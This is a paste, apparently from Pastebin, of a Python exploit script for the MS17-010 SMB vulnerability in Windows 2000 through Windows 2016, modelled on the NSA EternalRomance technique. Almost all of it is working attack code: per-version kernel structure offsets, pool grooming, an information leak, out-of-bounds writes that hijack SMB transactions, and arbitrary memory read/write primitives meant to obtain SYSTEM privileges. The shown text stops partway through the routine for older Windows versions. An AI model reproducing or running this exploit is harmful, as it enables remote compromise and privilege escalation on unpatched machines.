Advertisement
Guest User

Untitled

a guest
Mar 18th, 2019
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.48 KB | None | 0 0
  1. #!/usr/bin/python
  2. from impacket import smb, smbconnection
  3. from mysmb import MYSMB
  4. from struct import pack, unpack, unpack_from
  5. import sys
  6. import socket
  7. import time
  8.  
  9. '''
  10. MS17-010 exploit for Windows 2000 and later by sleepya
  11.  
  12. Note:
  13. - The exploit should never crash a target (chance should be nearly 0%)
  14. - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
  15.  
  16. Tested on:
  17. - Windows 2016 x64
  18. - Windows 10 Pro Build 10240 x64
  19. - Windows 2012 R2 x64
  20. - Windows 8.1 x64
  21. - Windows 2008 R2 SP1 x64
  22. - Windows 7 SP1 x64
  23. - Windows 2008 SP1 x64
  24. - Windows 2003 R2 SP2 x64
  25. - Windows XP SP2 x64
  26. - Windows 8.1 x86
  27. - Windows 7 SP1 x86
  28. - Windows 2008 SP1 x86
  29. - Windows 2003 SP2 x86
  30. - Windows XP SP3 x86
  31. - Windows 2000 SP4 x86
  32. '''
  33.  
  34. USERNAME = ''
  35. PASSWORD = ''
  36.  
  37. '''
  38. A transaction with empty setup:
  39. - it is allocated from paged pool (same as other transaction types) on Windows 7 and later
  40. - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier
  41. - no lookaside or caching method for allocating it
  42.  
  43. Note: method name is from NSA eternalromance
  44.  
  45. For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
  46. for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
  47. alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
  48.  
  49. For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
  50. smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
  51. a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server).
  52. Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
  53. in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
  54. of this method is we cannot do information leak to verify transactions alignment before OOB write.
  55. So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
  56. '''
  57.  
  58. '''
  59. Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
  60. win7 x64
  61. struct SrvSecContext {
  62. DWORD xx1; // second WORD is size
  63. DWORD refCnt;
  64. PACCESS_TOKEN Token; // 0x08
  65. DWORD xx2;
  66. BOOLEAN CopyOnOpen; // 0x14
  67. BOOLEAN EffectiveOnly;
  68. WORD xx3;
  69. DWORD ImpersonationLevel; // 0x18
  70. DWORD xx4;
  71. BOOLEAN UsePsImpersonateClient; // 0x20
  72. }
  73. win2012 x64
  74. struct SrvSecContext {
  75. DWORD xx1; // second WORD is size
  76. DWORD refCnt;
  77. QWORD xx2;
  78. QWORD xx3;
  79. PACCESS_TOKEN Token; // 0x18
  80. DWORD xx4;
  81. BOOLEAN CopyOnOpen; // 0x24
  82. BOOLEAN EffectiveOnly;
  83. WORD xx3;
  84. DWORD ImpersonationLevel; // 0x28
  85. DWORD xx4;
  86. BOOLEAN UsePsImpersonateClient; // 0x30
  87. }
  88.  
  89. SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
  90. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
  91. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
  92. PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
  93. STATUS_SUCCESS when Token is NULL.
  94. If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
  95. to do all SMB operations.
  96. Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
  97. ImpersonateSecurityContext() is used in these Windows versions.
  98. '''
  99. ###########################
  100. # info for modify session security context
  101. ###########################
  102. WIN7_64_SESSION_INFO = {
  103. 'SESSION_SECCTX_OFFSET': 0xa0,
  104. 'SESSION_ISNULL_OFFSET': 0xba,
  105. 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
  106. 'SECCTX_SIZE': 0x28,
  107. }
  108.  
  109. WIN7_32_SESSION_INFO = {
  110. 'SESSION_SECCTX_OFFSET': 0x80,
  111. 'SESSION_ISNULL_OFFSET': 0x96,
  112. 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
  113. 'SECCTX_SIZE': 0x1c,
  114. }
  115.  
  116. # win8+ info
  117. WIN8_64_SESSION_INFO = {
  118. 'SESSION_SECCTX_OFFSET': 0xb0,
  119. 'SESSION_ISNULL_OFFSET': 0xca,
  120. 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
  121. 'SECCTX_SIZE': 0x38,
  122. }
  123.  
  124. WIN8_32_SESSION_INFO = {
  125. 'SESSION_SECCTX_OFFSET': 0x88,
  126. 'SESSION_ISNULL_OFFSET': 0x9e,
  127. 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
  128. 'SECCTX_SIZE': 0x24,
  129. }
  130.  
  131. # win 2003 (xp 64 bit is win 2003)
  132. WIN2K3_64_SESSION_INFO = {
  133. 'SESSION_ISNULL_OFFSET': 0xba,
  134. 'SESSION_SECCTX_OFFSET': 0xa0, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  135. 'SECCTX_PCTXTHANDLE_OFFSET': 0x10, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  136. 'PCTXTHANDLE_TOKEN_OFFSET': 0x40,
  137. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  138. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  139. }
  140.  
  141. WIN2K3_32_SESSION_INFO = {
  142. 'SESSION_ISNULL_OFFSET': 0x96,
  143. 'SESSION_SECCTX_OFFSET': 0x80, # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
  144. 'SECCTX_PCTXTHANDLE_OFFSET': 0xc, # PCtxtHandle is at offset 0x8 but only upperPart is needed
  145. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  146. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  147. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  148. }
  149.  
  150. # win xp
  151. WINXP_32_SESSION_INFO = {
  152. 'SESSION_ISNULL_OFFSET': 0x94,
  153. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  154. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  155. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x4c,
  156. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x68,
  157. 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 0x40,
  158. 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 0x5c
  159. }
  160.  
  161. WIN2K_32_SESSION_INFO = {
  162. 'SESSION_ISNULL_OFFSET': 0x94,
  163. 'SESSION_SECCTX_OFFSET': 0x84, # PCtxtHandle is at offset 0x80 but only upperPart is needed
  164. 'PCTXTHANDLE_TOKEN_OFFSET': 0x24,
  165. 'TOKEN_USER_GROUP_CNT_OFFSET': 0x3c,
  166. 'TOKEN_USER_GROUP_ADDR_OFFSET': 0x58,
  167. }
  168.  
  169. ###########################
  170. # info for exploitation
  171. ###########################
  172. # for windows 2008+
  173. WIN7_32_TRANS_INFO = {
  174. 'TRANS_SIZE' : 0xa0, # struct size
  175. 'TRANS_FLINK_OFFSET' : 0x18,
  176. 'TRANS_INPARAM_OFFSET' : 0x40,
  177. 'TRANS_OUTPARAM_OFFSET' : 0x44,
  178. 'TRANS_INDATA_OFFSET' : 0x48,
  179. 'TRANS_OUTDATA_OFFSET' : 0x4c,
  180. 'TRANS_PARAMCNT_OFFSET' : 0x58,
  181. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x5c,
  182. 'TRANS_FUNCTION_OFFSET' : 0x72,
  183. 'TRANS_MID_OFFSET' : 0x80,
  184. }
  185.  
  186. WIN7_64_TRANS_INFO = {
  187. 'TRANS_SIZE' : 0xf8, # struct size
  188. 'TRANS_FLINK_OFFSET' : 0x28,
  189. 'TRANS_INPARAM_OFFSET' : 0x70,
  190. 'TRANS_OUTPARAM_OFFSET' : 0x78,
  191. 'TRANS_INDATA_OFFSET' : 0x80,
  192. 'TRANS_OUTDATA_OFFSET' : 0x88,
  193. 'TRANS_PARAMCNT_OFFSET' : 0x98,
  194. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x9c,
  195. 'TRANS_FUNCTION_OFFSET' : 0xb2,
  196. 'TRANS_MID_OFFSET' : 0xc0,
  197. }
  198.  
  199. WIN5_32_TRANS_INFO = {
  200. 'TRANS_SIZE' : 0x98, # struct size
  201. 'TRANS_FLINK_OFFSET' : 0x18,
  202. 'TRANS_INPARAM_OFFSET' : 0x3c,
  203. 'TRANS_OUTPARAM_OFFSET' : 0x40,
  204. 'TRANS_INDATA_OFFSET' : 0x44,
  205. 'TRANS_OUTDATA_OFFSET' : 0x48,
  206. 'TRANS_PARAMCNT_OFFSET' : 0x54,
  207. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x58,
  208. 'TRANS_FUNCTION_OFFSET' : 0x6e,
  209. 'TRANS_PID_OFFSET' : 0x78,
  210. 'TRANS_MID_OFFSET' : 0x7c,
  211. }
  212.  
  213. WIN5_64_TRANS_INFO = {
  214. 'TRANS_SIZE' : 0xe0, # struct size
  215. 'TRANS_FLINK_OFFSET' : 0x28,
  216. 'TRANS_INPARAM_OFFSET' : 0x68,
  217. 'TRANS_OUTPARAM_OFFSET' : 0x70,
  218. 'TRANS_INDATA_OFFSET' : 0x78,
  219. 'TRANS_OUTDATA_OFFSET' : 0x80,
  220. 'TRANS_PARAMCNT_OFFSET' : 0x90,
  221. 'TRANS_TOTALPARAMCNT_OFFSET' : 0x94,
  222. 'TRANS_FUNCTION_OFFSET' : 0xaa,
  223. 'TRANS_PID_OFFSET' : 0xb4,
  224. 'TRANS_MID_OFFSET' : 0xb8,
  225. }
  226.  
  227. X86_INFO = {
  228. 'ARCH' : 'x86',
  229. 'PTR_SIZE' : 4,
  230. 'PTR_FMT' : 'I',
  231. 'FRAG_TAG_OFFSET' : 12,
  232. 'POOL_ALIGN' : 8,
  233. 'SRV_BUFHDR_SIZE' : 8,
  234. }
  235.  
  236. X64_INFO = {
  237. 'ARCH' : 'x64',
  238. 'PTR_SIZE' : 8,
  239. 'PTR_FMT' : 'Q',
  240. 'FRAG_TAG_OFFSET' : 0x14,
  241. 'POOL_ALIGN' : 0x10,
  242. 'SRV_BUFHDR_SIZE' : 0x10,
  243. }
  244.  
  245. def merge_dicts(*dict_args):
  246. result = {}
  247. for dictionary in dict_args:
  248. result.update(dictionary)
  249. return result
  250.  
  251. OS_ARCH_INFO = {
  252. # for Windows Vista, 2008, 7 and 2008 R2
  253. 'WIN7': {
  254. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO),
  255. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO),
  256. },
  257. # for Windows 8 and later
  258. 'WIN8': {
  259. 'x86': merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO),
  260. 'x64': merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO),
  261. },
  262. 'WINXP': {
  263. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO),
  264. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  265. },
  266. 'WIN2K3': {
  267. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO),
  268. 'x64': merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO),
  269. },
  270. 'WIN2K': {
  271. 'x86': merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO),
  272. },
  273. }
  274.  
  275.  
  276. TRANS_NAME_LEN = 4
  277. HEAP_HDR_SIZE = 8 # heap chunk header size
  278.  
  279.  
  280. def calc_alloc_size(size, align_size):
  281. return (size + align_size - 1) & ~(align_size-1)
  282.  
  283. def wait_for_request_processed(conn):
  284. #time.sleep(0.05)
  285. # send echo is faster than sleep(0.05) when connection is very good
  286. conn.send_echo('a')
  287.  
  288. def find_named_pipe(conn):
  289. pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ]
  290.  
  291. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  292. found_pipe = None
  293. for pipe in pipes:
  294. try:
  295. fid = conn.nt_create_andx(tid, pipe)
  296. conn.close(tid, fid)
  297. found_pipe = pipe
  298. break
  299. except smb.SessionError as e:
  300. pass
  301.  
  302. conn.disconnect_tree(tid)
  303. return found_pipe
  304.  
  305.  
  306. special_mid = 0
  307. extra_last_mid = 0
  308. def reset_extra_mid(conn):
  309. global extra_last_mid, special_mid
  310. special_mid = (conn.next_mid() & 0xff00) - 0x100
  311. extra_last_mid = special_mid
  312.  
  313. def next_extra_mid():
  314. global extra_last_mid
  315. extra_last_mid += 1
  316. return extra_last_mid
  317.  
  318.  
  319. # Borrow 'groom' and 'bride' word from NSA tool
  320. # GROOM_TRANS_SIZE includes transaction name, parameters and data
  321. # Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
  322. GROOM_TRANS_SIZE = 0x5010
  323.  
  324. def leak_frag_size(conn, tid, fid):
  325. # this method can be used on Windows Vista/2008 and later
  326. # leak "Frag" pool size and determine target architecture
  327. info = {}
  328.  
  329. # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
  330. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
  331. # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
  332. # From the leak info, we can determine the target architecture too.
  333. mid = conn.next_mid()
  334. req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
  335. req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
  336.  
  337. conn.send_raw(req1[:-8])
  338. conn.send_raw(req1[-8:]+req2)
  339. leakData = conn.recv_transaction_data(mid, 0x10d0+276)
  340. leakData = leakData[0x10d4:] # skip parameters and its own input
  341. # Detect target architecture and calculate frag pool size
  342. if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  343. print('Target is 32 bit')
  344. info['arch'] = 'x86'
  345. info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
  346. elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
  347. print('Target is 64 bit')
  348. info['arch'] = 'x64'
  349. info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
  350. else:
  351. print('Not found Frag pool tag in leak data')
  352. sys.exit()
  353.  
  354. print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
  355. return info
  356.  
  357.  
  358. def read_data(conn, info, read_addr, read_size):
  359. fmt = info['PTR_FMT']
  360. # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
  361. # modify trans2.*ParameterCount and trans2.*DataCount to limit data
  362. new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
  363. new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
  364. new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
  365. new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
  366. new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
  367. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
  368.  
  369. # create one more transaction before leaking data
  370. # - next transaction can be used for arbitrary read/write after the current trans2 is done
  371. # - next transaction address is from TransactionListEntry.Flink value
  372. conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
  373.  
  374. # finish the trans2 to leak
  375. conn.send_nt_trans_secondary(mid=info['trans2_mid'])
  376. read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
  377.  
  378. # set new trans2 address
  379. info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
  380.  
  381. # set trans1.InData to &trans2
  382. conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
  383. wait_for_request_processed(conn)
  384.  
  385. # modify trans2 mid
  386. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  387. wait_for_request_processed(conn)
  388.  
  389. return read_data[8:] # no need to return parameter
  390.  
  391. def write_data(conn, info, write_addr, write_data):
  392. # trans2.InData
  393. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
  394. wait_for_request_processed(conn)
  395.  
  396. # write data
  397. conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
  398. wait_for_request_processed(conn)
  399.  
  400.  
  401. def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
  402. trans_param = pack('<HH', fid, 0) # param for NT_RENAME
  403. # fill large pagedpool holes (maybe no need)
  404. for i in range(numFill):
  405. conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
  406.  
  407. mid_ntrename = conn.next_mid()
  408. # first GROOM, for leaking next BRIDE transaction
  409. req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
  410. req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
  411. # second GROOM, for controlling next BRIDE transaction
  412. req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
  413. # many BRIDEs, expect two of them are allocated at splitted pool from GROOM
  414. reqs = []
  415. for i in range(12):
  416. mid = next_extra_mid()
  417. reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
  418.  
  419. conn.send_raw(req1[:-8])
  420. conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
  421.  
  422. # expected transactions alignment ("Frag" pool is not shown)
  423. #
  424. # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
  425. # +-------------------------------+----------------+-------------------------------+----------------+
  426. # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
  427. # +-------------------------------+----------------+-------------------------------+----------------+
  428. #
  429. # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
  430. # From leaked transaction, we get
  431. # - leaked transaction address from InParameter or InData
  432. # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
  433. # With these information, we can verify the transaction aligment from displacement.
  434.  
  435. leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
  436. leakData = leakData[0x10d4:] # skip parameters and its own input
  437. #open('leak.dat', 'wb').write(leakData)
  438.  
  439. if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
  440. print('Not found Frag pool tag in leak data')
  441. return None
  442.  
  443. # ================================
  444. # verify leak data
  445. # ================================
  446. leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
  447. # check pool tag and size value in buffer header
  448. expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
  449. leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
  450. if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
  451. print('No transaction struct in leak data')
  452. return None
  453.  
  454. leakTrans = leakData[leakTransOffset:]
  455.  
  456. ptrf = info['PTR_FMT']
  457. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
  458. inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
  459. leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  460.  
  461. print('CONNECTION: 0x{:x}'.format(connection_addr))
  462. print('SESSION: 0x{:x}'.format(session_addr))
  463. print('FLINK: 0x{:x}'.format(flink_value))
  464. print('InParam: 0x{:x}'.format(inparam_value))
  465. print('MID: 0x{:x}'.format(leak_mid))
  466.  
  467. next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
  468. if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
  469. print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
  470. return None
  471. # trans1: leak transaction
  472. # trans2: next transaction
  473. return {
  474. 'connection': connection_addr,
  475. 'session': session_addr,
  476. 'next_page_addr': next_page_addr,
  477. 'trans1_mid': leak_mid,
  478. 'trans1_addr': inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN,
  479. 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
  480. }
  481.  
  482. def exploit_matched_pairs(conn, pipe_name, info):
  483. # for Windows 7/2008 R2 and later
  484.  
  485. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  486. conn.set_default_tid(tid)
  487. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  488. fid = conn.nt_create_andx(tid, pipe_name)
  489.  
  490. info.update(leak_frag_size(conn, tid, fid))
  491. # add os and arch specific exploit info
  492. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  493.  
  494. # groom: srv buffer header
  495. info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
  496. print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
  497. # groom paramters and data is alignment by 8 because it is NT_TRANS
  498. info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
  499.  
  500. # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
  501. bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
  502. info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
  503. print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
  504. # bride paramters and data is alignment by 4 because it is TRANS
  505. info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
  506.  
  507. # ================================
  508. # try align pagedpool and leak info until satisfy
  509. # ================================
  510. leakInfo = None
  511. # max attempt: 10
  512. for i in range(10):
  513. reset_extra_mid(conn)
  514. leakInfo = align_transaction_and_leak(conn, tid, fid, info)
  515. if leakInfo is not None:
  516. break
  517. print('leak failed... try again')
  518. conn.close(tid, fid)
  519. conn.disconnect_tree(tid)
  520.  
  521. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  522. conn.set_default_tid(tid)
  523. fid = conn.nt_create_andx(tid, pipe_name)
  524.  
  525. if leakInfo is None:
  526. return False
  527.  
  528. info['fid'] = fid
  529. info.update(leakInfo)
  530.  
  531. # ================================
  532. # shift transGroom.Indata ptr with SmbWriteAndX
  533. # ================================
  534. shift_indata_byte = 0x200
  535. conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
  536.  
  537. # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
  538. # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
  539. # maxParameterCount (0x1000), trans name (4), param (4)
  540. indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
  541. indata_next_trans_displacement = info['trans2_addr'] - indata_value
  542. conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
  543. wait_for_request_processed(conn)
  544.  
  545. # if the overwritten is correct, a modified transaction mid should be special_mid now.
  546. # a new transaction with special_mid should be error.
  547. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
  548. if recvPkt.getNTStatus() != 0x10002: # invalid SMB
  549. print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
  550. print('!!! Write to wrong place !!!')
  551. print('the target might be crashed')
  552. return False
  553.  
  554. print('success controlling groom transaction')
  555.  
  556. # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
  557. # but this method make the transation never get freed
  558. # I will avoid memory leak
  559.  
  560. # ================================
  561. # modify trans1 struct to be used for arbitrary read/write
  562. # ================================
  563. print('modify trans1 struct for arbitrary read/write')
  564. fmt = info['PTR_FMT']
  565. # use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
  566. conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
  567. wait_for_request_processed(conn)
  568.  
  569. # modify
  570. # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
  571. # - trans1.InData to &trans2. so we can modify trans2 with trans1 data
  572. conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
  573. wait_for_request_processed(conn)
  574.  
  575. # modify trans2.mid
  576. info['trans2_mid'] = conn.next_mid()
  577. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  578. return True
  579.  
  580. def exploit_fish_barrel(conn, pipe_name, info):
  581. # for Windows Vista/2008 and earlier
  582.  
  583. tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
  584. conn.set_default_tid(tid)
  585. # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
  586. fid = conn.nt_create_andx(tid, pipe_name)
  587. info['fid'] = fid
  588.  
  589. if info['os'] == 'WIN7' and 'arch' not in info:
  590. # leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
  591. info.update(leak_frag_size(conn, tid, fid))
  592.  
  593. if 'arch' in info:
  594. # add os and arch specific exploit info
  595. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  596. attempt_list = [ OS_ARCH_INFO[info['os']][info['arch']] ]
  597. else:
  598. # do not know target architecture
  599. # this case is only for Windows 2003
  600. # try offset of 64 bit then 32 bit because no target architecture
  601. attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
  602.  
  603. # ================================
  604. # groom packets
  605. # ================================
  606. # sum of transaction name, parameters and data length is 0x1000
  607. # paramterCount = 0x100-TRANS_NAME_LEN
  608. print('Groom packets')
  609. trans_param = pack('<HH', info['fid'], 0)
  610. for i in range(12):
  611. mid = info['fid'] if i == 8 else next_extra_mid()
  612. conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
  613.  
  614. # expected transactions alignment
  615. #
  616. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  617. # | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
  618. # +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
  619. # trans1 trans2
  620.  
  621. # ================================
  622. # shift transaction Indata ptr with SmbWriteAndX
  623. # ================================
  624. shift_indata_byte = 0x200
  625. conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
  626.  
  627. # ================================
  628. # Dangerous operation: attempt to control one transaction
  629. # ================================
  630. # Note: POOL_ALIGN value is same as heap alignment value
  631. success = False
  632. for tinfo in attempt_list:
  633. print('attempt controlling next transaction on ' + tinfo['ARCH'])
